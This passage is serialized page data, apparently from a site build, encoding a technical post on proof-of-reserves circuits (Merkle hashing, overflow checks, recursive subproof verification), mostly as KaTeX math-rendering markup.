23,23542],[96116],{"type":28,"value":12650},{"type":22,"tag":118,"props":96118,"children":96120},{"className":96119},[6023,23542],[96121],{"type":28,"value":85941},{"type":22,"tag":118,"props":96123,"children":96125},{"className":96124,"style":6202},[6104],[],{"type":22,"tag":118,"props":96127,"children":96129},{"className":96128},[6207],[96130],{"type":28,"value":302},{"type":22,"tag":118,"props":96132,"children":96134},{"className":96133,"style":6202},[6104],[],{"type":22,"tag":118,"props":96136,"children":96138},{"className":96137},[6012],[96139,96143,96148,96153,96158,96163,96168,96173,96178,96183,96188,96245,96250,96254,96259,96264,96321,96326,96331,96335,96340,96345,96349,96354,96359,96421],{"type":22,"tag":118,"props":96140,"children":96142},{"className":96141,"style":6125},[6017],[],{"type":22,"tag":118,"props":96144,"children":96146},{"className":96145,"style":23543},[6023,23542],[96147],{"type":28,"value":23546},{"type":22,"tag":118,"props":96149,"children":96151},{"className":96150},[6023,23542],[96152],{"type":28,"value":94597},{"type":22,"tag":118,"props":96154,"children":96156},{"className":96155},[6023,23542],[96157],{"type":28,"value":3613},{"type":22,"tag":118,"props":96159,"children":96161},{"className":96160},[6023,23542],[96162],{"type":28,"value":72503},{"type":22,"tag":118,"props":96164,"children":96166},{"className":96165},[6023,23542],[96167],{"type":28,"value":94613},{"type":22,"tag":118,"props":96169,"children":96171},{"className":96170},[6023,23542],[96172],{"type":28,"value":58344},{"type":22,"tag":118,"props":96174,"children":96176},{"className":96175},[23671],[96177],{"type":28,"value":540},{"type":22,"tag":118,"props":96179,"children":96181},{"className":96180},[6023,23542],[96182],{"type":28,"value":96111},{"type":22,"tag":118,"props":96184,"children":96186},{"className":96185},[6023,23542],[96187],{"type":28,"value":12650},{"type":22,"tag":118,"props":96189,"children":96191},{"className":96190},[6023],[96192,96197],{"type":22,"tag":118,"props":96193,"children":96195},{"className":96194},[6023,23542],[96196],{"type":28,"value":85941},{"type":22,"tag":118,"props":96198,"children":96200},{"className":96199},[6040],[96201],{"type":22,"tag":118,"props":96202,"children":96204},{"className":96203},[6045,23596],[96205,96234],{"type":22,"tag":118,"props":96206,"children":96208},{"className":96207},[6050],[96209,96229],{"type":22,"tag":118,"props":96210,"children":96212},{"className":96211,"style":94695},[6055],[96213],{"type":22,"tag":118,"props":96214,"children":96215},{"style":94699},[96216,96220],{"type":22,"tag":118,"props":96217,"children":96219},{"className":96218,"style":6065},[6064],[],{"type":22,"tag":118,"props":96221,"children":96223},{"className":96222},[6070,6071,6072,6073],[96224],{"type":22,"tag":118,"props":96225,"children":96227},{"className":96226},[6023,6073],[96228],{"type":28,"value":6036},{"type":22,"tag":118,"props":96230,"children":96232},{"className":96231},[23699],[96233],{"type":28,"value":23702},{"type":22,"tag":118,"props":96235,"children":96237},{"className":96236},[6050],[96238],{"type":22,"tag":118,"props":96239,"children":96241},{"className":96240,"style":94726},[6055],[96242],{"type":22,"tag":118,"props":96243,"children":96244},{},[],{"type":22,"tag":118,"props":96246,"children":96248},{"className":96247},[6136],[96249],{"type":28,"value":6139},{"type":22,"tag":118,"props":96251,"children":96253},{"className":96252,"style":6143},[6104],[],{"type":22,"tag":118,"props":96255,"children":96257},{"className":96256},[6023,23542],[96258],{"type":28,"value":96111},{"type":22,"tag":118,"props":96260,"children":96262},{"className":96261},[6023,23542],[96263],{"type":28,"value":12650},{"type":22,"tag":118,"props":96265,"children":96267},{"className":96266},[6023],[96268,96273],{"type":22,"tag":118,"props":96269,"children":96271},{"className":96270},[6023,23542],[96272],{"type":28,"value":85941},{"type":22,"tag":118,"props":96274,"children":96276},{"className":96275},[6040],[96277],{"type":22,"tag":118,"props":96278,"children":96280},{"className":96279},[6045,23596],[96281,96310],{"type":22,"tag":118,"props":96282,"children":96284},{"className":96283},[6050],[96285,96305],{"type":22,"tag":118,"props":96286,"children":96288},{"className":96287,"style":94695},[6055],[96289],{"type":22,"tag":118,"props":96290,"children":96291},{"style":94699},[96292,96296],{"type":22,"tag":118,"props":96293,"children":96295},{"className":96294,"style":6065},[6064],[],{"type":22,"tag":118,"props":96297,"children":96299},{"className":96298},[6070,6071,6072,6073],[96300],{"type":22,"tag":118,"props":96301,"children":96303},{"className":96302},[6023,6073],[96304],{"type":28,"value":6026},{"type":22,"tag":118,"props":96306,"children":96308},{"className":96307},[23699],[96309],{"type":28,"value":23702},{"type":22,"tag":118,"props":96311,"children":96313},{"className":96312},[6050],[96314],{"type":22,"tag":118,"props":96315,"children":96317},{"className":96316,"style":94726},[6055],[96318],{"type":22,"tag":118,"props":96319,"children":96320},{},[],{"type":22,"tag":118,"props":96322,"children":96324},{"className":96323},[6136],[96325],{"type":28,"value":6139},{"type":22,"tag":118,"props":96327,"children":96329},{"className":96328},[6104],[96330],{"type":28,"value":23643},{"type":22,"tag":118,"props":96332,"children":96334},{"className":96333,"style":6143},[6104],[],{"type":22,"tag":118,"props":96336,"children":96338},{"className":96337},[6023],[96339],{"type":28,"value":11589},{"type":22,"tag":118,"props":96341,"children":96343},{"className":96342},[6136],[96344],{"type":28,"value":6139},{"type":22,"tag":118,"props":96346,"children":96348},{"className":96347,"style":6143},[6104],[],{"type":22,"tag":118,"props":96350,"children":96352},{"className":96351},[6023,23542],[96353],{"type":28,"value":96111},{"type":22,"tag":118,"props":96355,"children":96357},{"className":96356},[6023,23542],[96358],{"type":28,"value":12650},{"type":22,"tag":118,"props":96360,"children":96362},{"className":96361},[6023],[96363,96368],{"type":22,"tag":118,"props":96364,"children":96366},{"className":96365},[6023,23542],[96367],{"type":28,"value":85941},{"type":22,"tag":118,"props":96369,"children":96371},{"className":96370},[6040],[96372],{"type":22,"tag":118,"props":96373,"children":96375},{"className":96374},[6045,23596],[96376,96410],{"type":22,"tag":118,"props":96377,"children":96379},{"className":96378},[6050],[96380,96405],{"type":22,"tag":118,"props":96381,"children":96383},{"className":96382,"style":94695},[6055],[96384],{"type":22,"tag":118,"props":96385,"children":96386},{"style":94699},[96387,96391],{"type":22,"tag":118,"props":96388,"children":96390},{"className":96389,"style":6065},[6064],[],{"type":22,"tag":118,"props":96392,"children":96394},{"className":96393},[6070,6071,6072,6073],[96395],{"type":22,"tag":118,"props":96396,"children":96398},{"className":96397},[6023,6073],[96399],{"type":22,"tag":118,"props":96400,"children":96402},{"className":96401},[6023,6073],[96403],{"type":28,"value":96404},"511",{"type":22,"tag":118,"props":96406,"children":96408},{"className":96407},[23699],[96409],{"type":28,"value":23702},{"type":22,"tag":118,"props":96411,"children":96413},{"className":96412},[6050],[96414],{"type":22,"tag":118,"props":96415,"children":96417},{"className":96416,"style":94726},[6055],[96418],{"type":22,"tag":118,"props":96419,"children":96420},{},[],{"type":22,"tag":118,"props":96422,"children":96424},{"className":96423},[23693],[96425],{"type":28,"value":3627},{"type":28,"value":8467},{"type":22,"tag":74,"props":96428,"children":96429},{},[96430],{"type":28,"value":96431},"(merkle tree hash)",{"type":22,"tag":68,"props":96433,"children":96434},{},[96435,96710,96711,96716,96718,96723],{"type":22,"tag":114,"props":96436,"children":96438},{"className":96437},[5995,5996],[96439],{"type":22,"tag":118,"props":96440,"children":96442},{"className":96441},[6001],[96443],{"type":22,"tag":118,"props":96444,"children":96446},{"className":96445,"ariaHidden":6007},[6006],[96447,96640],{"type":22,"tag":118,"props":96448,"children":96450},{"className":96449},[6012],[96451,96455,96460,96465,96470,96475,96480,96485,96490,96495,96500,96505,96510,96515,96520,96525,96582,96587,96592,96597,96602,96607,96612,96617,96622,96627,96631,96636],{"type":22,"tag":118,"props":96452,"children":96454},{"className":96453,"style":94585},[6017],[],{"type":22,"tag":118,"props":96456,"children":96458},{"className":96457},[6023,23542],[96459],{"type":28,"value":42},{"type":22,"tag":118,"props":96461,"children":96463},{"className":96462},[6023,23542],[96464],{"type":28,"value":95100},{"type":22,"tag":118,"props":96466,"children":96468},{"className":96467},[6023,23542],[96469],{"type":28,"value":94902},{"type":22,"tag":118,"props":96471,"children":96473},{"className":96472},[6023,23542],[96474],{"type":28,"value":58344},{"type":22,"tag":118,"props":96476,"children":96478},{"className":96477},[6023,23542],[96479],{"type":28,"value":23684},{"type":22,"tag":118,"props":96481,"children":96483},{"className":96482,"style":94643},[6023],[96484],{"type":28,"value":3422},{"type":22,"tag":118,"props":96486,"children":96488},{"className":96487},[6023,23542],[96489],{"type":28,"value":42},{"type":22,"tag":118,"props":96491,"children":96493},{"className":96492},[6023,23542],[96494],{"type":28,"value":94634},{"type":22,"tag":118,"props":96496,"children":96498},{"className":96497},[6023,23542],[96499],{"type":28,"value":23684},{"type":22,"tag":118,"props":96501,"children":96503},{"className":96502,"style":94643},[6023],[96504],{"type":28,"value":3422},{"type":22,"tag":118,"props":96506,"children":96508},{"className":96507},[6023,23542],[96509],{"type":28,"value":94651},{"type":22,"tag":118,"props":96511,"children":96513},{"className":96512,"style":94655},[6023,23542],[96514],{"type":28,"value":94658},{"type":22,"tag":118,"props":96516,"children":96518},{"className":96517},[6023,23542],[96519],{"type":28,"value":94664},{"type":22,"tag":118,"props":96521,"children":96523},{"className":96522},[6023,23542],[96524],{"type":28,"value":94670},{"type":22,"tag":118,"props":96526,"children":96528},{"className":96527},[6023],[96529,96534],{"type":22,"tag":118,"props":96530,"children":96532},{"className":96531},[6023,23542],[96533],{"type":28,"value":12650},{"type":22,"tag":118,"props":96535,"children":96537},{"className":96536},[6040],[96538],{"type":22,"tag":118,"props":96539,"children":96541},{"className":96540},[6045,23596],[96542,96571],{"type":22,"tag":118,"props":96543,"children":96545},{"className":96544},[6050],[96546,96566],{"type":22,"tag":118,"props":96547,"children":96549},{"className":96548,"style":95172},[6055],[96550],{"type":22,"tag":118,"props":96551,"children":96552},{"style":94699},[96553,96557],{"type":22,"tag":118,"props":96554,"children":96556},{"className":96555,"style":6065},[6064],[],{"type":22,"tag":118,"props":96558,"children":96560},{"className":96559},[6070,6071,6072,6073],[96561],{"type":22,"tag":118,"props":96562,"children":96564},{"className":96563},[6023,23542,6073],[96565],{"type":28,"value":3613},{"type":22,"tag":118,"props":96567,"children":96569},{"className":96568},[23699],[96570],{"type":28,"value":23702},{"type":22,"tag":118,"props":96572,"children":96574},{"className":96573},[6050],[96575],{"type":22,"tag":118,"props":96576,"children":96578},{"className":96577,"style":94726},[6055],[96579],{"type":22,"tag":118,"props":96580,"children":96581},{},[],{"type":22,"tag":118,"props":96583,"children":96585},{"className":96584},[23671],[96586],{"type":28,"value":5746},{"type":22,"tag":118,"props":96588,"children":96590},{"className":96589},[6023,23542],[96591],{"type":28,"value":42},{"type":22,"tag":118,"props":96593,"children":96595},{"className":96594},[6023,23542],[96596],{"type":28,"value":94634},{"type":22,"tag":118,"props":96598,"children":96600},{"className":96599},[6023,23542],[96601],{"type":28,"value":23684},{"type":22,"tag":118,"props":96603,"children":96605},{"className":96604,"style":94643},[6023],[96606],{"type":28,"value":3422},{"type":22,"tag":118,"props":96608,"children":96610},{"className":96609},[6023,23542],[96611],{"type":28,"value":58344},{"type":22,"tag":118,"props":96613,"children":96615},{"className":96614},[6023,23542],[96616],{"type":28,"value":94902},{"type":22,"tag":118,"props":96618,"children":96620},{"className":96619},[6023,23542],[96621],{"type":28,"value":53074},{"type":22,"tag":118,"props":96623,"children":96625},{"className":96624},[23693],[96626],{"type":28,"value":17386},{"type":22,"tag":118,"props":96628,"children":96630},{"className":96629,"style":6202},[6104],[],{"type":22,"tag":118,"props":96632,"children":96634},{"className":96633},[6207],[96635],{"type":28,"value":559},{"type":22,"tag":118,"props":96637,"children":96639},{"className":96638,"style":6202},[6104],[],{"type":22,"tag":118,"props":96641,"children":96643},{"className":96642},[6012],[96644,96648,96655,96660,96666,96671,96676,96681,96687,96692,96698,96704],{"type":22,"tag":118,"props":96645,"children":96647},{"className":96646,"style":94585},[6017],[],{"type":22,"tag":118,"props":96649,"children":96652},{"className":96650,"style":96651},[6023,23542],"margin-right:0.10903em;",[96653],{"type":28,"value":96654},"M",{"type":22,"tag":118,"props":96656,"children":96658},{"className":96657},[6023,23542],[96659],{"type":28,"value":78363},{"type":22,"tag":118,"props":96661,"children":96664},{"className":96662,"style":96663},[6023,23542],"margin-right:0.07847em;",[96665],{"type":28,"value":8143},{"type":22,"tag":118,"props":96667,"children":96669},{"className":96668,"style":94643},[6023],[96670],{"type":28,"value":3422},{"type":22,"tag":118,"props":96672,"children":96674},{"className":96673,"style":24001},[6023,23542],[96675],{"type":28,"value":24004},{"type":22,"tag":118,"props":96677,"children":96679},{"className":96678},[6023,23542],[96680],{"type":28,"value":78363},{"type":22,"tag":118,"props":96682,"children":96684},{"className":96683,"style":24001},[6023,23542],[96685],{"type":28,"value":96686},"FE",{"type":22,"tag":118,"props":96688,"children":96690},{"className":96689,"style":94643},[6023],[96691],{"type":28,"value":3422},{"type":22,"tag":118,"props":96693,"children":96695},{"className":96694,"style":96663},[6023,23542],[96696],{"type":28,"value":96697},"I",{"type":22,"tag":118,"props":96699,"children":96701},{"className":96700,"style":23543},[6023,23542],[96702],{"type":28,"value":96703},"NT",{"type":22,"tag":118,"props":96705,"children":96707},{"className":96706},[6023],[96708],{"type":28,"value":96709},"/512",{"type":28,"value":8467},{"type":22,"tag":74,"props":96712,"children":96713},{},[96714],{"type":28,"value":96715},"(overflow check)",{"type":28,"value":96717}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":22,"tag":114,"props":96719,"children":96721},{"className":96720},[],[96722],{"type":28,"value":94501},{"type":28,"value":3627},{"type":22,"tag":31,"props":96725,"children":96726},{},[96727],{"type":28,"value":96728},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":22,"tag":31,"props":96730,"children":96731},{},[96732],{"type":22,"tag":5928,"props":96733,"children":96735},{"alt":52519,"src":96734},"/posts/por/batch-circuit-inputs.png",[],{"type":22,"tag":1289,"props":96737,"children":96739},{"id":96738},"recursive-circuit",[96740],{"type":28,"value":96741},"Recursive Circuit",{"type":22,"tag":31,"props":96743,"children":96744},{},[96745],{"type":28,"value":96746},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":22,"tag":31,"props":96748,"children":96749},{},[96750],{"type":22,"tag":74,"props":96751,"children":96752},{},[96753],{"type":28,"value":95015},{"type":22,"tag":64,"props":96755,"children":96756},{},[96757,96761,96766],{"type":22,"tag":68,"props":96758,"children":96759},{},[96760],{"type":28,"value":95033},{"type":22,"tag":68,"props":96762,"children":96763},{},[96764],{"type":28,"value":96765},"Asset prices",{"type":22,"tag":68,"props":96767,"children":96768},{},[96769],{"type":28,"value":95028},{"type":22,"tag":31,"props":96771,"children":96772},{},[96773],{"type":22,"tag":74,"props":96774,"children":96775},{},[96776],{"type":28,"value":95041},{"type":22,"tag":64,"props":96778,"children":96779},{},[96780],{"type":22,"tag":68,"props":96781,"children":96782},{},[96783],{"type":28,"value":96784},"8 subproofs",{"type":22,"tag":31,"props":96786,"children":96787},{},[96788],{"type":22,"tag":74,"props":96789,"children":96790},{},[96791],{"type":28,"value":95062},{"type":22,"tag":64,"props":96793,"children":96794},{},[96795,97205,97536,97903,98290],{"type":22,"tag":68,"props":96796,"children":96797},{},[96798,97200,97201],{"type":22,"tag":114,"props":96799,"children":96801},{"className":96800},[5995,5996],[96802],{"type":22,"tag":118,"props":96803,"children":96805},{"className":96804},[6001],[96806],{"type":22,"tag":118,"props":96807,"children":96809},{"className":96808,"ariaHidden":6007},[6006],[96810,96946],{"type":22,"tag":118,"props":96811,"children":96813},{"className":96812},[6012],[96814,96818,96823,96828,96833,96838,96843,96848,96853,96858,96863,96868,96873,96878,96883,96888,96893,96898,96903,96908,96913,96918,96923,96928,96933,96937,96942],{"type":22,"tag":118,"props":96815,"children":96817},{"className":96816,"style":94585},[6017],[],{"type":22,"tag":118,"props":96819,"children":96821},{"className":96820},[6023,23542],[96822],{"type":28,"value":23684},{"type":22,"tag":118,"props":96824,"children":96826},{"className":96825},[6023,23542],[96827],{"type":28,"value":94613},{"type":22,"tag":118,"props":96829,"children":96831},{"className":96830},[6023,23542],[96832],{"type":28,"value":23684},{"type":22,"tag":118,"props":96834,"children":96836},{"className":96835},[6023,23542],[96837],{"type":28,"value":42},{"type":22,"tag":118,"props":96839,"children":96841},{"className":96840,"style":94655},[6023,23542],[96842],{"type":28,"value":94658},{"type":22,"tag":118,"props":96844,"children":96846},{"className":96845,"style":94643},[6023],[96847],{"type":28,"value":3422},{"type":22,"tag":118,"props":96849,"children":96851},{"className":96850},[6023,23542],[96852],{"type":28,"value":42},{"type":22,"tag":118,"props":96854,"children":96856},{"className":96855},[6023,23542],[96857],{"type":28,"value":94634},{"type":22,"tag":118,"props":96859,"children":96861},{"className":96860},[6023,23542],[96862],{"type":28,"value":23684},{"type":22,"tag":118,"props":96864,"children":96866},{"className":96865,"style":94643},[6023],[96867],{"type":28,"value":3422},{"type":22,"tag":118,"props":96869,"children":96871},{"className":96870},[6023,23542],[96872],{"type":28,"value":94651},{"type":22,"tag":118,"props":96874,"children":96876},{"className":96875,"style":94655},[6023,23542],[96877],{"type":28,"value":94658},{"type":22,"tag":118,"props":96879,"children":96881},{"className":96880},[6023,23542],[96882],{"type":28,"value":94664},{"type":22,"tag":118,"props":96884,"children":96886},{"className":96885},[6023,23542],[96887],{"type":28,"value":94670},{"type":22,"tag":118,"props":96889,"children":96891},{"className":96890},[23671],[96892],{"type":28,"value":5746},{"type":22,"tag":118,"props":96894,"children":96896},{"className":96895},[6023,23542],[96897],{"type":28,"value":42},{"type":22,"tag":118,"props":96899,"children":96901},{"className":96900},[6023,23542],[96902],{"type":28,"value":94634},{"type":22,"tag":118,"props":96904,"children":96906},{"className":96905},[6023,23542],[96907],{"type":28,"value":23684},{"type":22,"tag":118,"props":96909,"children":96911},{"className":96910,"style":94643},[6023],[96912],{"type":28,"value":3422},{"type":22,"tag":118,"props":96914,"children":96916},{"className":96915},[6023,23542],[96917],{"type":28,"value":58344},{"type":22,"tag":118,"props":96919,"children":96921},{"className":96920},[6023,23542],[96922],{"type":28,"value":94902},{"type":22,"tag":118,"props":96924,"children":96926},{"className":96925},[6023,23542],[96927],{"type":28,"value":53074},{"type":22,"tag":118,"props":96929,"children":96931},{"className":96930},[23693],[96932],{"type":28,"value":17386},{"type":22,"tag":118,"props":96934,"children":96936},{"className":96935,"style":6202},[6104],[],{"type":22,"tag":118,"props":96938,"children":96940},{"className":96939},[6207],[96941],{"type":28,"value":302},{"type":22,"tag":118,"props":96943,"children":96945},{"className":96944,"style":6202},[6104],[],{"type":22,"tag":118,"props":96947,"children":96949},{"className":96948},[6012],[96950,96954,96959,96964,96969,96974,96979,96984,96990,97049,97054,97059,97064,97069,97074,97079,97084,97089,97095,97100,97105,97110,97115,97120,97125,97130,97135,97140,97145,97150,97155,97160,97165,97170,97175,97180,97185,97190,97195],{"type":22,"tag":118,"props":96951,"children":96953},{"className":96952,"style":94585},[6017],[],{"type":22,"tag":118,"props":96955,"children":96957},{"className":96956},[6023],[96958],{"type":28,"value":95233},{"type":22,"tag":118,"props":96960,"children":96962},{"className":96961},[6104],[96963],{"type":28,"value":23643},{"type":22,"tag":118,"props":96965,"children":96967},{"className":96966},[6023,23542],[96968],{"type":28,"value":12650},{"type":22,"tag":118,"props":96970,"children":96972},{"className":96971},[6023,23542],[96973],{"type":28,"value":94902},{"type":22,"tag":118,"props":96975,"children":96977},{"className":96976},[6023,23542],[96978],{"type":28,"value":5243},{"type":22,"tag":118,"props":96980,"children":96982},{"className":96981},[6023,23542],[96983],{"type":28,"value":31},{"type":22,"tag":118,"props":96985,"children":96987},{"className":96986},[6023,23542],[96988],{"type":28,"value":96989},"roo",{"type":22,"tag":118,"props":96991,"children":96993},{"className":96992},[6023],[96994,97000],{"type":22,"tag":118,"props":96995,"children":96998},{"className":96996,"style":96997},[6023,23542],"margin-right:0.10764em;",[96999],{"type":28,"value":35024},{"type":22,"tag":118,"props":97001,"children":97003},{"className":97002},[6040],[97004],{"type":22,"tag":118,"props":97005,"children":97007},{"className":97006},[6045,23596],[97008,97038],{"type":22,"tag":118,"props":97009,"children":97011},{"className":97010},[6050],[97012,97033],{"type":22,"tag":118,"props":97013,"children":97015},{"className":97014,"style":95172},[6055],[97016],{"type":22,"tag":118,"props":97017,"children":97019},{"style":97018},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[97020,97024],{"type":22,"tag":118,"props":97021,"children":97023},{"className":97022,"style":6065},[6064],[],{"type":22,"tag":118,"props":97025,"children":97027},{"className":97026},[6070,6071,6072,6073],[97028],{"type":22,"tag":118,"props":97029,"children":97031},{"className":97030},[6023,23542,6073],[97032],{"type":28,"value":3613},{"type":22,"tag":118,"props":97034,"children":97036},{"className":97035},[23699],[97037],{"type":28,"value":23702},{"type":22,"tag":118,"props":97039,"children":97041},{"className":97040},[6050],[97042],{"type":22,"tag":118,"props":97043,"children":97045},{"className":97044,"style":94726},[6055],[97046],{"type":22,"tag":118,"props":97047,"children":97048},{},[],{"type":22,"tag":118,"props":97050,"children":97052},{"className":97051},[6023],[97053],{"type":28,"value":292},{"type":22,"tag":118,"props":97055,"children":97057},{"className":97056},[6023,23542],[97058],{"type":28,"value":31},{"type":22,"tag":118,"props":97060,"children":97062},{"className":97061},[6023,23542],[97063],{"type":28,"value":94902},{"type":22,"tag":118,"props":97065,"children":97067},{"className":97066},[6023,23542],[97068],{"type":28,"value":5243},{"type":22,"tag":118,"props":97070,"children":97072},{"className":97071,"style":94655},[6023,23542],[97073],{"type":28,"value":94658},{"type":22,"tag":118,"props":97075,"children":97077},{"className":97076},[6023,23542],[97078],{"type":28,"value":3613},{"type":22,"tag":118,"props":97080,"children":97082},{"className":97081},[6023,23542],[97083],{"type":28,"value":5169},{"type":22,"tag":118,"props":97085,"children":97087},{"className":97086,"style":94643},[6023],[97088],{"type":28,"value":3422},{"type":22,"tag":118,"props":97090,"children":97092},{"className":97091},[6023,23542],[97093],{"type":28,"value":97094},"in",{"type":22,"tag":118,"props":97096,"children":97098},{"className":97097},[6023,23542],[97099],{"type":28,"value":31},{"type":22,"tag":118,"props":97101,"children":97103},{"className":97102},[6023,23542],[97104],{"type":28,"value":94902},{"type":22,"tag":118,"props":97106,"children":97108},{"className":97107},[6023,23542],[97109],{"type":28,"value":23684},{"type":22,"tag":118,"props":97111,"children":97113},{"className":97112},[6023],[97114],{"type":28,"value":292},{"type":22,"tag":118,"props":97116,"children":97118},{"className":97117},[6023,23542],[97119],{"type":28,"value":42},{"type":22,"tag":118,"props":97121,"children":97123},{"className":97122},[6023,23542],[97124],{"type":28,"value":94634},{"type":22,"tag":118,"props":97126,"children":97128},{"className":97127},[6023,23542],[97129],{"type":28,"value":23684},{"type":22,"tag":118,"props":97131,"children":97133},{"className":97132,"style":94643},[6023],[97134],{"type":28,"value":3422},{"type":22,"tag":118,"props":97136,"children":97138},{"className":97137},[6023,23542],[97139],{"type":28,"value":94651},{"type":22,"tag":118,"props":97141,"children":97143},{"className":97142,"style":94655},[6023,23542],[97144],{"type":28,"value":94658},{"type":22,"tag":118,"props":97146,"children":97148},{"className":97147},[6023,23542],[97149],{"type":28,"value":94664},{"type":22,"tag":118,"props":97151,"children":97153},{"className":97152},[6023,23542],[97154],{"type":28,"value":95473},{"type":22,"tag":118,"props":97156,"children":97158},{"className":97157},[23671],[97159],{"type":28,"value":5746},{"type":22,"tag":118,"props":97161,"children":97163},{"className":97162},[6023,23542],[97164],{"type":28,"value":42},{"type":22,"tag":118,"props":97166,"children":97168},{"className":97167},[6023,23542],[97169],{"type":28,"value":94634},{"type":22,"tag":118,"props":97171,"children":97173},{"className":97172},[6023,23542],[97174],{"type":28,"value":23684},{"type":22,"tag":118,"props":97176,"children":97178},{"className":97177,"style":94643},[6023],[97179],{"type":28,"value":3422},{"type":22,"tag":118,"props":97181,"children":97183},{"className":97182},[6023,23542],[97184],{"type":28,"value":58344},{"type":22,"tag":118,"props":97186,"children":97188},{"className":97187},[6023,23542],[97189],{"type":28,"value":94902},{"type":22,"tag":118,"props":97191,"children":97193},{"className":97192},[6023,23542],[97194],{"type":28,"value":53074},{"type":22,"tag":118,"props":97196,"children":97198},{"className":97197},[23693],[97199],{"type":28,"value":17386},{"type":28,"value":8467},{"type":22,"tag":74,"props":97202,"children":97203},{},[97204],{"type":28,"value":96033},{"type":22,"tag":68,"props":97206,"children":97207},{},[97208],{"type":22,"tag":114,"props":97209,"children":97211},{"className":97210},[5995,5996],[97212],{"type":22,"tag":118,"props":97213,"children":97215},{"className":97214},[6001],[97216],{"type":22,"tag":118,"props":97217,"children":97219},{"className":97218,"ariaHidden":6007},[6006],[97220,97326],{"type":22,"tag":118,"props":97221,"children":97223},{"className":97222},[6012],[97224,97228,97233,97238,97243,97248,97253,97258,97263,97268,97273,97278,97283,97288,97293,97298,97303,97308,97313,97317,97322],{"type":22,"tag":118,"props":97225,"children":97227},{"className":97226,"style":94585},[6017],[],{"type":22,"tag":118,"props":97229,"children":97231},{"className":97230},[6023,23542],[97232],{"type":28,"value":42},{"type":22,"tag":118,"props":97234,"children":97236},{"className":97235},[6023,23542],[97237],{"type":28,"value":94634},{"type":22,"tag":118,"props":97239,"children":97241},{"className":97240},[6023,23542],[97242],{"type":28,"value":23684},{"type":22,"tag":118,"props":97244,"children":97246},{"className":97245,"style":94643},[6023],[97247],{"type":28,"value":3422},{"type":22,"tag":118,"props":97249,"children":97251},{"className":97250},[6023,23542],[97252],{"type":28,"value":31},{"type":22,"tag":118,"props":97254,"children":97256},{"className":97255,"style":94643},[6023,23542],[97257],{"type":28,"value":95462},{"type":22,"tag":118,"props":97259,"children":97261},{"className":97260},[6023,23542],[97262],{"type":28,"value":3613},{"type":22,"tag":118,"props":97264,"children":97266},{"className":97265},[6023,23542],[97267],{"type":28,"value":94670},{"type":22,"tag":118,"props":97269,"children":97271},{"className":97270},[23671],[97272],{"type":28,"value":5746},{"type":22,"tag":118,"props":97274,"children":97276},{"className":97275},[6023,23542],[97277],{"type":28,"value":42},{"type":22,"tag":118,"props":97279,"children":97281},{"className":97280},[6023,23542],[97282],{"type":28,"value":94634},{"type":22,"tag":118,"props":97284,"children":97286},{"className":97285},[6023,23542],[97287],{"type":28,"value":23684},{"type":22,"tag":118,"props":97289,"children":97291},{"className":97290,"style":94643},[6023],[97292],{"type":28,"value":3422},{"type":22,"tag":118,"props":97294,"children":97296},{"className":97295},[6023,23542],[97297],{"type":28,"value":58344},{"type":22,"tag":118,"props":97299,"children":97301},{"className":97300},[6023,23542],[97302],{"type":28,"value":94902},{"type":22,"tag":118,"props":97304,"children":97306},{"className":97305},[6023,23542],[97307],{"type":28,"value":53074},{"type":22,"tag":118,"props":97309,"children":97311},{"className":97310},[23693],[97312],{"type":28,"value":17386},{"type":22,"tag":118,"props":97314,"children":97316},{"className":97315,"style":6202},[6104],[],{"type":22,"tag":118,"props":97318,"children":97320},{"className":97319},[6207],[97321],{"type":28,"value":302},{"type":22,"tag":118,"props":97323,"children":97325},{"className":97324,"style":6202},[6104],[],{"type":22,"tag":118,"props":97327,"children":97329},{"className":97328},[6012],[97330,97334,97339,97344,97349,97354,97359,97416,97421,97426,97431,97436,97441,97446,97451,97456,97461,97466,97471,97476,97481,97486,97491,97496,97501,97506,97511,97516,97521,97526,97531],{"type":22,"tag":118,"props":97331,"children":97333},{"className":97332,"style":94585},[6017],[],{"type":22,"tag":118,"props":97335,"children":97337},{"className":97336},[6023,23542],[97338],{"type":28,"value":12650},{"type":22,"tag":118,"props":97340,"children":97342},{"className":97341},[6023,23542],[97343],{"type":28,"value":94902},{"type":22,"tag":118,"props":97345,"children":97347},{"className":97346},[6023,23542],[97348],{"type":28,"value":5243},{"type":22,"tag":118,"props":97350,"children":97352},{"className":97351},[6023,23542],[97353],{"type":28,"value":31},{"type":22,"tag":118,"props":97355,"children":97357},{"className":97356},[6023,23542],[97358],{"type":28,"value":96989},{"type":22,"tag":118,"props":97360,"children":97362},{"className":97361},[6023],[97363,97368],{"type":22,"tag":118,"props":97364,"children":97366},{"className":97365,"style":96997},[6023,23542],[97367],{"type":28,"value":35024},{"type":22,"tag":118,"props":97369,"children":97371},{"className":97370},[6040],[97372],{"type":22,"tag":118,"props":97373,"children":97375},{"className":97374},[6045,23596],[97376,97405],{"type":22,"tag":118,"props":97377,"children":97379},{"className":97378},[6050],[97380,97400],{"type":22,"tag":118,"props":97381,"children":97383},{"className":97382,"style":95172},[6055],[97384],{"type":22,"tag":118,"props":97385,"children":97386},{"style":97018},[97387,97391],{"type":22,"tag":118,"props":97388,"children":97390},{"className":97389,"style":6065},[6064],[],{"type":22,"tag":118,"props":97392,"children":97394},{"className":97393},[6070,6071,6072,6073],[97395],{"type":22,"tag":118,"props":97396,"children":97398},{"className":97397},[6023,23542,6073],[97399],{"type":28,"value":3613},{"type":22,"tag":118,"props":97401,"children":97403},{"className":97402},[23699],[97404],{"type":28,"value":23702},{"type":22,"tag":118,"props":97406,"children":97408},{"className":97407},[6050],[97409],{"type":22,"tag":118,"props":97410,"children":97412},{"className":97411,"style":94726},[6055],[97413],{"type":22,"tag":118,"props":97414,"children":97415},{},[],{"type":22,"tag":118,"props":97417,"children":97419},{"className":97418},[6023],[97420],{"type":28,"value":292},{"type":22,"tag":118,"props":97422,"children":97424},{"className":97423},[6023,23542],[97425],{"type":28,"value":31},{"type":22,"tag":118,"props":97427,"children":97429},{"className":97428},[6023,23542],[97430],{"type":28,"value":94902},{"type":22,"tag":118,"props":97432,"children":97434},{"className":97433},[6023,23542],[97435],{"type":28,"value":5243},{"type":22,"tag":118,"props":97437,"children":97439},{"className":97438,"style":94655},[6023,23542],[97440],{"type":28,"value":94658},{"type":22,"tag":118,"props":97442,"children":97444},{"className":97443},[6023,23542],[97445],{"type":28,"value":3613},{"type":22,"tag":118,"props":97447,"chi